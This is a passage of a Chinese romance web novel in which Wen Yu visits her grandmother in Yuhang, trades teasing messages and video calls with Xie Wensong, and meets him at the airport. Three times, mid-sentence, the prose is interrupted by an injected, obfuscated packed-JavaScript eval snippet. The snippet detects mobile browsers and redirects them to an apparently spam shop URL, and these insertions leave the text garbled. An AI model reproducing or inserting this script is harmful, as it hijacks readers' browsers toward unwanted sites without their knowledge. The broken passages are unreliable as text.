“他不是觉得自己有恃无恐吗?” “那就比比谁的后台硬吧。” …… 谢闻颂带早饭回去的时候温遇已经重新爬回被窝里睡了。 她没拉窗帘,被角被晨光熏烫。 把早餐袋搁在桌子上,谢闻颂走到床边摸了把她的头发,指尖湿漉漉的。 他顿了下,手移向枕头旁的手机,背板滚烫。 谢闻颂笑了声:“温鱼鱼,装睡也得像点儿。” 趴在被窝里的女孩还是一声不吭,试图想一装到底。谢闻颂用鼻音哼了下,自然知道怎么拿捏她:“可惜我买的热腾腾的早饭,小笼包豆腐脑油条……” 他故作惋惜叹气:“都只能我一个人吃了。” 谢闻颂往餐桌那边走,果不其然还没走两步就听见身后的声音,回头一看,温遇一条腿跪在床边,另一条腿已经穿上拖鞋。 似乎是彻底放弃形象,温遇趿拉着拖鞋就要往餐桌狂奔,谢闻颂早就准备好,脚步一迈横在她面前,提溜兔子耳朵直奔浴室吹头发。 某兔愤愤不平也没别的办法。 毕竟实力相差悬殊。 和煦阳光的早晨,谢闻颂坐到桌子前时手指上还有温遇的洗发水味,他不太饿,没着急拆自己那份的塑料袋。 温遇自然也没和他客气,具体表现在鼓鼓的腮帮子和蓬松微乱的头发上。 她自己不太爱吹头发,可能是今天天气凉,耳边暖风扫过的时候,还挺舒服。 她说:“谢闻颂,我应该不和你一起回南川了。” 正在倒水的谢闻颂动作稍顿,然后问:“怎么了?” “社里给我放了一周假,连着十一假期,我打算直接回余杭。” 温遇洗完澡之后才发现谢闻颂没在房间里,回复手机消息时看见饶婷发来的信息。 先是问了她的情况,然后说会对证据进行上报,后续情况社里也会跟进,和对面的品牌方进行交涉,说不会坐视不理的。 温遇回了句好。 为表安慰,社里给她批了一周的假,正好后面连着国庆,她连调休都省了。 睡了一觉收到这样的好消息,温遇感觉浑身神清气爽。 只不过相比她,某人并不是那么爽。 “回外婆那?”谢闻颂将鸡蛋壳敲碎,指尖一点点往下扒。 “嗯。”温遇点头,将嘴里的包子咽下去:“我有段时间没回去了,虽然唐熹女士不催婚不催生,但是架不住我想她啊。” 她说这话像小孩儿,尤其是说想她那句,有种自然而然的亲昵。 谢闻颂沉默着咬了口鸡蛋,温遇敏锐察觉他的情绪变化,抿抿嘴唇上的辣椒油,试探道:“你要不和我一起回去?” 温遇话刚说出口就觉得不合适,谢闻颂有多忙她也不是不知道。 感觉他所有空下来的时间都被她给占掉。 温遇试图往回找补:“没关系,你忙,有机会下次……” “下次是什么时候?” 谢闻颂见她不说话,继续道:“你看你也不知道什么时候,老给我画又大又香的饼。” 温遇不服。 她怎么就画饼了? 话到嘴边,谢闻颂又抛过来一句。 “这次有时间,你先回,我过几天去余杭找你。” - 在酒店住到第二天下午,温遇和谢闻颂同时前往机场。 临走前,谢闻颂告诉温遇,那个品牌方的主管已经因为非法入侵住宅罪被拘留,今早品牌方的道歉函也已经发到杂志社,温遇自然也收到信息。 因为一件事情折腾了好几天,现在总算暂时告一段落。 温遇感觉这几天一直压在心里的石头终于落地。 她也很清楚,说到底,能办到这个地步,几乎全是谢闻颂的功劳。 普通人走在路上总是很难,因为一些涉及到自己的事,孑然一身维权也是个极漫长的过程。 有些课程是在学校里学不到的,步入社会才会发现,金钱和人脉其实也很重要。 她也一向觉得自己成年长大,有足够大的能力独当一面,现在发现还是太青涩了。 谢闻颂的飞机要比她晚点,温遇还在发呆的时候被他提醒过来。 她起身时,旁边人笑了声:“怎么,舍不得我啊。” 温遇扭头,抛给他一个无语的眼神:“你要是少说点这样的话,我估计会感激你更多。” “我不要你感激。”谢闻颂双手交叉在胸前,姿态懒散随意:“下次帮你的时候,别给我画饼就行。” “……”温遇选择转身就走,“再见!” 是不是有点太冷漠了。 好歹他刚刚帮完自己。 坚定的步伐还没迈出十米远,温遇没忍住回头,谢闻颂仍然维持着刚才那个坐姿。 黑色渔夫帽下的那双眼睛,正直勾勾盯着她。 见温遇回头,谢闻颂似乎并不意外,甚至心情挺好弯弯唇角,不紧不慢从外套口袋里掏出手机。 十米相隔,某人直接发消息交流。 听见消息提示音,温遇低头,选择接受他突如其来的幼稚。 Bigboss:知道你舍不得我了。 Bigboss:但飞机马上起飞了,你那还没分开就已经开始思念的眼神,多少克制一下。 “……” 温遇直接拉着行李箱走了,连消息都没回。 她就多余往后面多看那一眼! …… 两个小时后,温遇准时抵达余杭。 下飞机的一瞬间,她觉得融入体内的空气都变得熟悉起来。 余杭温度还没完全低下来,温遇上身一件针织衫正正好好,不冷也不热。 这些年来,她基本在两个城市来回穿梭。 一个是南川,一个是余杭。 南川是自己从小长大的地方,其实余杭也是。 温遇的外公外婆之前一直在余杭长住,她刚出生那会儿来南川带过她几个月,等温遇稍微大点,每年寒暑假她都会来这边住一阵再回去。 后来温途出生后,她来这边的就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128582|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频繁。 因为好像在南川的家里,她总是感受不到自己的存在。 满腹委屈也只和外婆唐熹说过,对方没有指责她要大度,不要不懂事,而是告诉她想来的时候就来,什么难过的事都不要憋在心里,外婆会在的。 徐翩禾和温成钢结婚以后,唐熹就很少管他们之间的事了,加上老伴去世,她继续守在房子里,过自己的日子。 但毕竟是有孙女孙子的人,多多少少总是会割舍不下孩子的。 而且相比温途,她更心疼温遇多一点。 温遇怎么可能感觉不到外婆的偏爱,所以每年过年她都回余杭陪唐熹过年,这基本是雷打不动的习惯,来余杭读大学也有很大一部分原因是因为她,每周末从杭大往家回的时间,是一段很快乐的日子。 有几次过年谢闻颂和她一起过来,第一次见他的时候,唐熹认出来谢闻颂就是隔壁总来家里玩的小男孩。 买菜回来的时候,唐熹多带了一份蓝莓奶酪,温遇吃完自己的又开始馋他的。 后来谢闻颂看温遇实在想吃,就把自己那份也给她。 唐熹把两个孩子一块疼,有谢闻颂在,带什么好吃的从来都是双份的。 后来每次温遇回去的时候,唐熹不问她有没有交男朋友,而是会问“小颂什么时候来”。 难为外婆喜欢他,谢闻颂向来在长辈面前不卑不亢,活抢着干,聊什么话题都能应答如流,加上时不时的嘴甜,加上他那张脸,想让人不喜欢都难。 温遇怀疑外婆更喜欢谢闻颂,总是装作酸溜溜的语气说他是个大忙人,最近应该没时间来。 然后果断把西瓜事件告诉她,毕竟这是属于除了谢闻颂以外,其他人都快知道的黑历史。 说完之后两个人都没忍住捧腹大笑起来。 不过她猜这次,外婆还是得问某人的近况。 毕竟这么多年,这也都成习惯了。 原本温遇想着十一假期回余杭的,现在早放一周假期,她就能早点回去。 唐熹住的小区在城中心,这一带的居民区建得都比较早,还是属于那种水泥浇筑楼梯的居民房。 前几年徐翩禾和温成钢想给她换一个住的地方,至少是有电梯的,环境稍微好点的房子,只不过唐熹没同意。 好在楼层不高,爬起来也不算特别困难。 只不过今天不太巧,温遇回去的时候,唐熹并没在家。 这个点可能去市场了,她便蹲在门口等。 隔壁邻居婶子回来看见她,一脸惊奇:“诶?不还没放假吗?姑娘你咋回来了?” 温遇总回这边,基本跟周围邻居都能说上话。 她没多讲自己的事,只是说:“我今年放假早一些。” 婶子见她蹲在门口,往外指了指:“你家老太太正在水池亭子那边和人斗地主呢。” 温遇一听,愣了下笑出声,向婶子道完谢拖着行李箱往小区凉亭那边走。 唐熹女士年轻时候在大学里教书,退休以后每天蹲电视看欢乐二打一,连续看了一个月,把上学时候学习的劲都掏出来了,结果雄心壮志第一回上手,十把输了八把。 她第一次和温遇说的时候,温遇笑得眼泪都出来了。 熟稔地找到位置,温遇老远就看见那抹熟悉的身影背对自己,正斗得热闹。 唐熹女士这把快打完才发现温遇站在自己身后,吓了一跳:“你这丫头怎么来了也不说话,现在学坏了净吓我。” “怕影响您操作啊。”温遇背着手走到她身旁,“今天战绩怎么样?” 四方桌旁的一个阿姨配合道:“你阿婆今天手气不错嘞。” 外婆笑着摆摆手,把手里的牌捋到一起放到桌上:“不玩了不玩了。” 其他人不乐意了:“怎么不玩了?距离结束还早呢。” “回家给我孙女做饭去喽,你们玩吧。” 阿姨立马看向温遇:“囡啊。” 外婆一个跨步把温遇挡在身后:“嘿,你咋还朝我孙女打感情牌?我知道我孙女漂亮可爱,不过你可不许别打她主意嘞。” “她都那么大了,你还把她当小孩护着啊。”阿姨吐槽了句。 唐熹女士双手叉腰:“多大她在我这都是个小孩。” 一桌的人都笑了,温遇也是。 那阿姨看了温遇好几眼,热络地想上前拉住她的手:“姑娘,你有男朋友了吗?” 温遇先是愣了下,然后张了张口,还没等说,旁边的外婆直接接话:“她有了。” 那阿姨见她外婆这么说,估计八成是真的,笑容因为惋惜淡了点,手上松了力道。 回去的路上,温遇挽着外婆的胳膊,含糊着把提前放假的原因给糊弄过去,随便诹了个理由。 想起刚才的事,她问外婆刚才为什么要说她有男朋友。 唐熹女士不争气拍了下她的手:“你傻啊你,没看出来她想给你说媒?” 温遇手上挨了下,笑容不变:“我看出来了。” “我原本以为您是不关心我的感情状况。”温遇思索道,歪头凑到她面前:“现在看来,挺关心的?” “连我未来的男朋友您都给分配好了,那我是不是就负责安心等着了?” 唐熹女士看上去一点情绪都没有,甚至听完她这句玩笑话从容点点头,还挺认真。 “嗯,你等着就行。” 刚走到家门口,温遇还没把行李箱搬进门,她突然回头,像憋了挺久。 “小颂没和你一起过来吗?” 温遇有点哭笑不得。 突然觉得最舍不得谢闻颂的人应该是她外婆吧。 33.鱼鱼 33/ 没有上下班压力的傍晚总是浪漫的,温遇吃过饭后趴回自己的屋子里,木门只关了一半,客厅里外婆正在看最近热播的电视剧,彩色光斑零星几点淌进她屋里的地板上。 十平米左右的房间一尘不染,床单被罩都是已经洗过的,淡雅让人浑身放松的香气缭绕。 就连她上次抽的Popmart盲盒小人还放在书桌上,被外婆擦拭得干干净净。 书桌上盖了层蓝白格子桌布,前几天头顶的空调漏水,给桌子上弄上了痕迹,不太好看,外婆便裁了块桌布盖在上面。 门外有电视里主角的对话声,温遇仰躺在床上刷手机,感觉这样的日子真是太美好了。 美滋滋得仿佛漫步云端。 思绪可以自由狂奔,不会因为考虑得失而被设限。 可能是因为太舒服了,她主动想起了某个人。 突然想撩闲一下。 小鱼丸了:【图片】 是今晚外婆做的饭,温遇从相册里翻出库存发给谢闻颂。 等了会没回复,温遇寻思这会儿他不可能在线,结果刚登上游戏,顶端弹出来消息提示。 备注还是上次她换的,现在还没有改过来。 Bigboss:看得出来你现在挺高兴? 温遇面上美滋滋的,其实心里决定还是谦虚一下:有那么明显吗? Bigboss:就差把饭盆扣我脸上告诉我到底有多香了。 “?” 这人说话的抽象让温遇短暂陷入沉默。 有时候谢闻颂说的话感觉和他本人的气质一点也不相符。 可能是第二人格冒出来了。 温遇有点没想到这人忙里偷闲,还有时间幽默。 略微思索,她决定为他团队的人打抱不平:你这样工作时间当众开小差,容易引起底下群众的公愤。 Bigboss:拜托,公主。 Bigboss:左上角,显示帝都时间六点三十分。 Bigboss:现在是下班时间。 Bigboss:而且我是老板。 Bigboss:我负责给他们发工资,开个小差怎么了。 ? 三十七度的嘴怎么能说出这么冰冷的话? 温遇突然有点后悔开启和他的聊天。 社畜与人果然存在着无法跨越的鸿沟,要不然她怎么听不明白谢闻颂的话呢? 好好好。 您是资本家您说了算。 而作为一个标准的、彻头彻尾的社畜,温遇实在没办法跟他共鸣,默默换了个话题,好让自己不那么心碎。 小鱼丸了:你什么时候来? Bigboss:得下周了吧,怎么了? Bigboss:怎么,又舍不得我了? 温遇自动忽略后一句话。 小鱼丸了:其实……和你说个秘密。 小鱼丸了:确实有个人舍不得你。 手机那头的谢闻颂看到这,突然笑了,面上一副“果然如此是你舍不得我但还是不得不承认”的表情,在对话框里输入:我就知道…… 对面弹出来新消息。 小鱼丸了:唐熹女士,确实挺舍不得你的。 对面迟滞几秒。 Bigboss:? 小鱼丸了:那什么,你想不想当真正的孙子? Bigboss:? 这又说的什么话。 谢闻颂感觉她在骂人,但是证据不明。 小鱼丸了:不是。 小鱼丸了:我感觉唐熹女士缺个孙子,要不你来当当? Bigboss:? - 温遇在家里没心没肺地浪了好几天,突然想起自己那几盆花的“命”还在谢闻颂的手上。 正所谓“求人不易,不求无应”,温遇要想问到具体情况,还是得主动出击。 散成一盘沙的心瞬间被双手拢回,她抱有几分侥幸心理点进和某人的对话框,先试探性地发了个表情包过去。 小鱼丸了:【在吗】 一分钟,五分钟,一刻钟,半小时,一小时…… 石沉大海一般。 他不会是因为上次的事生气了吧,温遇暗自揣摩对方的心理,但总觉得他不会那么脆弱。可能只是现在忙,并没有看见而已。 小鱼丸了:谢闻颂? 小鱼丸了:你在线吗? 他那边没动静,温遇以为是这人故意不理自己,就绞尽脑汁持续输出,指尖恨不得在屏幕前擦出火星子。 小鱼丸了:谢荔枝。 小鱼丸了:你应该没在生气吧,毕竟认识你以来,你就是一个衣冠楚楚玉树临风从头发丝性感到脚趾尖的男人,我相信大度只是你最不起眼的一个优点…… 昧着良心夸完怎么还是没反应? 温遇继续噼里啪啦打字。 小鱼丸了:谢闻颂你这人果然是三十六除以六。 小鱼丸了:除了六还是六。【大拇指】【大拇指】【大拇指】 屏幕已经被她发的文字占据,一片绿花花,也不知道发到第几条,对面突然诈尸了。 Bigboss:停。 Bigboss:你今天吃错药了? 这边的温遇一下子从床上坐起来。 小鱼丸了:没有。 小鱼丸了:就是今天突然想夸你了。 Bigboss:温鱼鱼,能不能说假话的时候也编得像点。 Bigboss:无事不登三宝殿,突如其来的夸奖我可不敢接受。 温遇刚想发你有什么不敢的,对面像是有预料性猜测到她今天不太寻常的原因—— Bigboss:放心,不会让你的花死。 上次的视频聊天出了岔子,决定重新挪到今晚,谢闻颂这几天也忙,连照片也没拍,温遇则是玩得太洒脱忘记了正事。 两个人的时差仿佛正正好好错开,现在决定重新重新让齿轮咬合起来。 达成了自己的目的,温遇自然从对话框里撤了出去,倒是刚开完组会的谢闻颂坐在原位没动,饶有兴致地开始研究温遇给他发的那些话。 往上翻的过程中,谢闻颂一个人在空会议室里笑出声,还好在场没有第二个人听见,不然真会有损某人的形象。 目光定格在温遇拽的那些形容他的词语上。 明明用词可以称得上相当的滑稽,他却没忍住弯起唇角。 谢闻颂一个人走回自己的办公室,把之前嫌弃没用的全身镜搬出来放在胡桃木桌旁边,站在镜子前拍了张照片,发给林思睿。 Song_:今日份OOTD。 林思睿前两天改了个微信名,谢闻颂在通讯录找了半天,最后还是凭借头像找到他的。 我是three大王:? Song_:刚才有人夸我衣冠楚楚玉树临风。 我是three大王:谁这么没眼光? 我是three大王:是衣冠禽兽到玉树临风就倒还差不多。 林思睿的嘴是管制刀具,过地铁案件估计都得响,半夜舔嘴唇能把自己直接给毒死。 谢闻颂当没看见,兀自输出。 Song_:她还夸我性感。 Song_:所以我今天性感吗? ? 你觉得你和这两个字搭得上关系吗? 林思睿戴上痛苦面具,毫不留情回复。 我是three大王:你今天神经病还差不多。【微笑】 - 到傍晚时分,温遇吃过晚饭后把碗刷掉,招猫逗狗快乐的一天走向尾声,谢闻颂卡点打来视频电话。 温遇正好在线,秒接听。 “喂——” 手机屏幕显示对方那边的画面,一片黑漆漆,温遇以为他把镜头开反了,刚要提醒。随后对面窸窸窣窣的声音透过听筒传过来,紧接着听见“啪”一声,谢闻颂把卧室的灯打开。 眼前被带得一下子亮堂起来,他明显是刚洗完澡出来,甩着半干的头发正往屋里走。 几绺不太听话,直往他眼睛扎,谢闻颂伸手往上捋,顺着指尖淌落几滴晶莹水珠,模糊了摄像头。 温遇随口吐槽:“你怎么也不爱吹头发?” 她以为像他那种短发吹起来已经很省力气,不用花费太长时间就能搞定。 “跟你学的。”谢闻颂声音没什么情绪,说这话的时候往这边睨一眼。 温遇撅撅嘴,下一秒就见谢闻颂将镜头翻转,正对着她之前搬进来的几盆花。 冬天的脚步越来越近,室外温度逐渐降低,谢闻颂明显是感觉到了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150994|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把原本放在阳台上的花全都搬进屋里。 镜头从上往下拍,完整框住几盆花的全貌,温遇盯着那油绿油绿的叶片,怎么感觉谢闻颂养得比她还好? 这人是不是就没有什么不会做的事? 他的声音从手机另外一头传过来:“刚洗完澡就给你打视频。” “怕你说我虐待你的花。” 温遇嘟囔:“我是那种人吗?” 话音刚落,对面传来笑音:“嗯,你不是。” 手机应该是被谢闻颂架在一边,他在房间里走动,声音一会儿近一会儿远的,脚步声也是。 细微的衣料摩擦的声音,在安静的空间里像点点火花在空气里炸开,逐渐升温。 她这边挂着视频电话,另一边用iPad追剧,这几天又快把以前喜欢的剧全都刷一遍,十一之后回去上班估计就没有这么大块的时间了。 谢闻颂那头应该在浴室吹头发,吹风机的鼓鼓风声被磨砂玻璃门过滤掉一层,传到她这边并不刺耳,像背景白噪音。 温遇的注意力都在屏幕上,正想着什么时候才能抽出时间去一趟希腊沉船湾,那边的谢闻颂已经吹完头发,连什么时候把镜头翻转过来她都没注意,只听见他喊了句温鱼鱼,这才扭头。 镜头是从下往上拍的,如此死亡的角度,某人身上自带的滤镜愣是一点没碎,一套深色的丝质睡衣,V型领口还是挺挑身材的。谢闻颂穿上并不显得干瘪,反而…… 温遇想起那天拍马屁的词语—— 性感。 谢闻颂头发应该只吹了个半干,冷白窄瘦的下巴微微敛在半明半暗的光线里,睫毛垂落的阴影像层朦胧的纱包裹住他的目光。温遇见他透过屏幕盯着自己,下意识问:“你盯着我干什么?” 谢闻颂移开目光,“我大概后天早上的飞机。” “这么快。”温遇脱口而出,突然感觉身后有脚步声,外婆走到门口的位置,老花镜还没摘,她声音很小,带着期待:“是小颂吗?” 温遇还都没反应过来,谢闻颂已经将手机抬起,超镜头这边的唐熹女士打招呼:“外婆好。” 温遇抽空看了眼谢闻颂,脸上的表情和刚才完全不一样,甚至连头顶的一撮呆毛都乖顺地垂下去。 ? 怎么还带秒变脸的? 这边的唐熹已经走过来坐在床边,和温遇靠在一起,乐得合不拢嘴:“小颂啊,最近过得怎么样?” 自从温遇大学毕业回到南川以后,余杭只有她一个人,虽然温遇一休假就回来,但肯定频率也不如上大学的那四年。 老人上了年纪都爱和家里人唠唠家常,但又怕他们觉得烦,总是小心翼翼的。 到谢闻颂这,唐熹女士絮絮叨叨了好多话,他一点不耐烦的意思都没有,对方说一句他听一句,乖巧得不行。 温遇虽然早就知道这人有两副面孔,没想到今天倒是见识个淋漓尽致。 这还是那个经常和她拌嘴的谢闻颂吗? 她原本以为他在自己这有两副面孔也就罢了,没想到在长辈面前这么能扮猪吃老虎。 外婆笑得眼睛都弯起来,“小颂,你什么时候过来啊。” “后天。” “他后天来。” 温遇和谢闻颂异口同声。 外婆看了看两个人,笑得皱纹一直没压下去,连连应好:“后天是吧,正好小鱼没事,让她去机场接你。” 还没等谢闻颂回话,外婆拍了拍温遇的胳膊:“你这几天昼夜颠倒,晚上不睡白天不起的,懒觉也连着睡好几天了,正好让小颂给你纠正纠正作息。” 外婆都这样说了,温遇自然不会有什么意见,似有若无的目光飘给谢闻颂,后者唇线微微上挑,生怕没让别人看见他笑一样。 刚刚温遇已经对他的滤镜碎了一地,此刻只能无声朝他龇牙。 结束视频聊天后,温遇在对话框控诉:陪、我、一、个、自、然、醒、的、懒、觉。 为了强调,她先打了一整句话,然后一个个用顿号隔开。 Bigboss:行,陪你。 温遇这才发现自己打错字,可是已经来不及撤回:是“赔我”。 Bigboss:行。 Bigboss:赔你一个陪你。 小鱼丸了:? 这人是不是有什么猫病。 34.鱼鱼 34/ 如果不出意外的话是要出意外了。 去机场接谢闻颂的前一天晚上,温遇喝了杯伯牙绝弦,结果直接伯牙绝眠。 凌晨四点的时候才睡着,那时候天边刚爬上来一点光,温遇以为自己两个小时之后就能起床,借着奶茶劲逍遥到半夜才睡,闹钟却忘记定了。还是唐熹女士在外面遛完弯一圈回来,看见温遇还在床上睡觉,甚至还有空翻个身,拍腿哎呦一声:“你咋还没起嘞?小颂不是七点半的飞机吗?” 温遇觉浅,记不清内容的梦让她感觉自己像漂浮在水里的人,半梦半醒听到外婆的这句话,凌乱着头发从床上坐起,整个人都是懵的。 熬夜加上根本没睡几个小时,眼睛又干又涩,温遇睁开都困难,只能先胡乱理着头发,沙哑声音问:“什么?” 还没等对方回答,她终于从堪比宿醉之后的状态里摸到了今天最重要的事。 完、蛋、了。 谢、闻、颂、今、早、的、飞、机。 几个字仿佛打字机一个个敲下,温遇浑身仿佛沁在油锅里,被炸得外焦里嫩,就差直接原地爆炸了。 在唐熹女士的叹息声中,温遇火速洗了把脸,头发都没扎,套上衣服就离开了家。 小区门口外就是公交站,她跑到站牌底下才开始调整凌乱的呼吸,从外套兜里掏出被风吹得发凉的手机,在发信息之前看了眼左上角的时间。 八点半。 整整迟到一个小时。 谢闻颂一条消息也没给她发,仿佛没有任何催她的意思,可温遇却觉得这是暴风雨前的宁静。 对话框闪烁的绿线不知不觉在脑海中幻化成一个巨大的红色感叹号。 脑海串联思绪的链条断掉的那几秒,温遇在想,如果把【Bigboss】这个备注给谢闻颂续费一年,他会不会原谅自己。 幼稚的想法只一秒便截停。 该发的信息还是得回,温遇任命打字。 小鱼丸了:谢闻颂,你现在在哪? 发出去没几秒,上方便提示正在输入中。 温遇有种错觉,谢闻颂是不是在等自己发消息? Bigboss:在机场。 温遇刚要松口气,打字说马上去接你,对面继续发来一条消息—— Bigboss:刚才有个路过的孩子问他妈妈,为什么这个叔叔要一直坐在这,是要当雕像吗。 “……” 谢闻颂说起来幽默,温遇却没觉得。 某人要开始给她上压力了。 温遇感觉自己恨不得秒速飞到他面前,鞠一个九十度的躬。 小鱼丸了:对不起qaq。 小鱼丸了:我昨晚熬夜忘记定闹钟了。 温遇虽然经常和他拌嘴,但如果确实做错了,她会第一时间道歉,不会有丝毫的别扭和犹豫。 这点谢闻颂也很清楚。 Bigboss:然后呢? 然后…… 温遇试图组织措辞。 Bigboss:梦见鬼追着你,一直追到今天早上八点三十五分? 温遇半天憋出一句:只要你没追着我就好了。 意思是只要他不当鬼追她就行了。 两个人之间的语言博弈可谓是一门学问,谢闻颂有时候是不是半夜都在背梗找机会噎他。 谢闻颂过了会才回:给你一个小时的时间到我面前,就原谅你了。 从温遇现在这个位置出发到机场,一个小时绰绰有余。 这就明显是给她台阶下。 心尖尖站着的那只小熊在外太空傲娇地转了半天,最后还是选择回来,伸出小爪拍了拍她的心脏。 有点暖暖的。 不知为何,她没忍住弯起眼睛笑了下,蹲在路边认真打字。 小鱼丸了:好嘞。 温遇想了想给他添个称呼:荔枝公主。 …… 机场航站楼内,温遇走在亮堂的大厅里,目光四处逡巡,刚有一班飞机落停余杭机场,大厅里来来往往的人并不少。 温遇双手插在外套兜里,总有些不得劲。 今早走得急,她从餐厅椅子上随手拽过来一件外套直接套上就出门了。 那是一件红色的薄棉服,还是她刚上高中时候穿的。 前几天被外婆找出来,本来说想改改尺寸,结果还没开始改,她就因为着急出门给穿上了。 袖口和衣摆都有点短,穿上像童装。 插兜的姿势也不太舒服。 不过温遇暂时没法管这件事,边走边在人和人之间的缝隙中试图寻找某个熟悉的背影。 人流散开,视野越来越宽阔,温遇低头瞅了眼定位,红点显示在附近,再四处看看,并不太费力就找到背对着自己坐的人。 金属扶手泛着冷色银光,谢闻颂坐在最边上的位置,外套边角自然垂落在椅子侧面,黑色套头卫衣的兜帽挡住他后颈的皮肤,温遇看见他座位旁的行李箱,是那天他赶去绵安带着的那个。 温遇抿抿唇,决定从后面绕过去,不声不响地走到他面前。 谢闻颂动作没变,又或许是已经猜到她在旁边了,视线一路往上,最后定格在她那张脸。 相比他,温遇明显要小心翼翼得多,试图在他脸上找出反映情绪的表情。 谢闻颂见她来了,站起身,单手手指勾着行李箱带到身旁边,动作相当自如,结果往外迈开几步发现某人还在原地。 “还不走?” “噢。”温遇向前迈了两步又停住,这次是因为谢闻颂站在原地没动。 她有点摸不透他的意思。 也许是坐久了,谢闻颂轻微活动下脖子,见她又要在自己身后走,不咸不淡道:“走我旁边来。” “怎么还是一做错事就想往后躲?刚刚道歉的时候不是挺自然的吗?” 他补充道:“我已经原谅你了。” 温遇原本想走在后面,这样莫名很有安全感,但被人当面cue出来,她显然不能这样做了。 心如乱麻,她噢了声加快脚步走在他旁边。 刚上出租车,温遇一个人坐在后排,谢闻颂直接坐在副驾驶。 车还没开出去几分钟,前排传来声音:“你可以睡一会儿。” 温遇反应过来谢闻颂在和她说话。 稍顿了顿,他继续道:“我在后面你睡觉不方便。” 她抬头望向他的侧影,没想到是这个原因。 后视镜里看见温遇没动位置,目光还是锁在自己身上,似是在等什么下文,谢闻颂向后扭头:“不是说熬夜了吗?” 说这话间,他又将头转回去,继续处理手机上的信息。 刚才信息的提示音一直没断过。 温遇突然想起他在绵安酒店里说的那句有时间,思维有一瞬间的偏差,像刺过凹凸透镜折弯的光线。 他其实一直挺忙吧。 而她又何尝不清楚呢? 温遇从侧面看,谢闻颂正单手划手机屏幕,不出意外看到那根熟悉的手机挂绳,塑料水晶比上次看见的时候又磨掉了一些亮色。 仿佛他们彼此陪伴成长的一年又一年,还有那被时间磨掉的青涩。 伴随车身轻微震动,摇晃的水晶找能把一小部分光吸进去,然后像星星瓶一样储存起来,最后投射在他身上,落成点点光斑。 …… 温遇困意刚涌上来的时候,出租车已经到地,她从车窗外往里看,是家旁边一个挺大的商场。 前排的谢闻颂正在付打车钱,温遇迷迷糊糊下车时,他已经提着行李箱过来,见她还在揉眼睛,顺手帮她摘掉发丝上的白色绒毛,忽然笑了声:“这么困啊。” “怎么,上下眼皮陷入热恋期了,不舍得分开?” “……” 熟悉的打趣不比刚才,温遇几乎是瞬间回到之前和他相处的状态,看向旁边的人,语气有种格外的体悟:“熬夜人的后遗症你不懂。” 她心里默默道:你倒是不熬夜啊,你直接失眠。 “怎么来商场了?”她跟着谢闻颂乘坐扶梯往底下走,长条形广告牌横亘在眼前。 谢闻颂来到B1层超市,从旁边拉过辆购物车:“好久没来,当然得给长辈带点礼物啊。” “你要是有想吃的,直接往里放就行,一会一起结账。” 温遇原本还在一边打哈欠,听到后句哈欠都不打了,劲使大直接憋回去。 谢闻颂正在挑水果,温遇就在旁边心不在焉拿塑料包装的柠檬,包装袋被她指尖捏的撕拉撕拉响。 “怎么这么纠结?”谢闻颂拿梨的手举起又放下,似笑非笑看她,“你现在不去,我一会可去结账了。” 温遇微微握了握手里的柠檬,朝他歪头:“那我不客气了?” 谢闻颂将挑好的梨装进塑料袋,嗤了声:“你什么时候和我客气过。” “……” 小兔子蹦蹦哒哒跑去零食区,谢闻颂假装不经意间抬眼看见她的背影,低下头的瞬间唇角上抿。 像一种下意识的行为,他自己都没多在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14173942|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又扯了一个塑料袋,将刚才被温遇拿过的柠檬装进袋子里,一起放进购物车。 温遇挑了几袋零食和几罐包装好看的果酒,整整齐齐码在一角,谢闻颂自然注意到,然后默默移开眼,问她还有没有要一起买的。 温遇这时才想起来家里的牙膏快没了,原本想随便拿一管,结果谢闻颂指了指架子上某品牌:“这个还挺好用的。” “那就这个吧。”温遇丁点犹豫都没有,直接顺着他指的地方拿,然后和自己的小零食放在一堆,只不过牙膏的包装盒要更高,立在那还挺显眼。 怎么跟堆积木似的。 谢闻颂在心里想。 将在商场里买的东西带回家,外婆已经早早等在客厅里。 见两个人站在门口,她赶紧招呼他们进来:“哎呦,怎么还买东西了?” 温遇低头换鞋,头也没抬:“谢闻颂孝敬您的。” 两个购物袋,其中一个是温遇的东西,唐熹女士默默戳破:“你可别说那零食和饮料是给我买的。” 温遇没反驳,倒是谢闻颂先开口,把另一袋子水果放在餐桌上:“这些是我和温遇给您挑的,那两盒草莓还新鲜着,我待会洗出来一起吃。” 外婆笑得眼睛都眯成一道缝:“谢谢小颂啊。” 她看向自家丫头,拉了下她的手:“也谢谢我们小鱼。” 谢闻颂好久没来,连外衣都还没换,就被老人拉到沙发上聊聊近况,温遇从自己屋里把水杯拿到餐桌接水,刚好路过看见谢闻颂双腿并拢腰背挺直坐在沙发上。 往那一坐就是个兵。 不知道为什么,温遇有一种很想笑的冲动。 